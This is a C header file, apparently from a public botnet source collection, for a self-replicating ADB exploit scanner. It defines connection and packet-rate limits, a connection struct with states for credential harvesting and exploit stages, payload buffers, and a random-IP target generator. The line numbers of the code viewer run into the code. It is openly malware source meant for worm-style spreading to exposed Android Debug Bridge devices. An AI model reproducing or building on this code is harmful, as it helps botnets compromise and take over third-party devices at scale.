Path: blob/master/Botnets/Self Reps/ADB/adb_scanner.h
5038 views
#ifdef SELFREP12#pragma once34#include <stdint.h>56#include "includes.h"78#ifdef X86_649#define EXPLOIT_SCANNER_MAX_CONNS 51210#define EXPLOIT_SCANNER_RAW_PPS 144011#else12#define EXPLOIT_SCANNER_MAX_CONNS 12813#define EXPLOIT_SCANNER_RAW_PPS 16014#endif15#ifdef X86_6416#define EXPLOIT_SCANNER_RDBUF_SIZE 102417#define EXPLOIT_SCANNER_HACK_DRAIN 6418#else19#define EXPLOIT_SCANNER_RDBUF_SIZE 25620#define EXPLOIT_SCANNER_HACK_DRAIN 6421#endif2223struct exploit_scanner_connection24{25int fd, last_recv;26enum27{28EXPLOIT_SC_CLOSED,29EXPLOIT_SC_CONNECTING,30EXPLOIT_SC_GET_CREDENTIALS,31EXPLOIT_SC_EXPLOIT_STAGE2,32EXPLOIT_SC_EXPLOIT_STAGE3,33} state;34ipv4_t dst_addr;35uint16_t dst_port;36int rdbuf_pos;37char rdbuf[EXPLOIT_SCANNER_RDBUF_SIZE];38char **credentials;39char payload_buf[2560], payload_buf2[2560];40int credential_index;41};4243void exploit_init();44void exploit_kill(void);4546static void exploit_setup_connection(struct exploit_scanner_connection *);47static ipv4_t get_random_ip(void);4849#endif50515253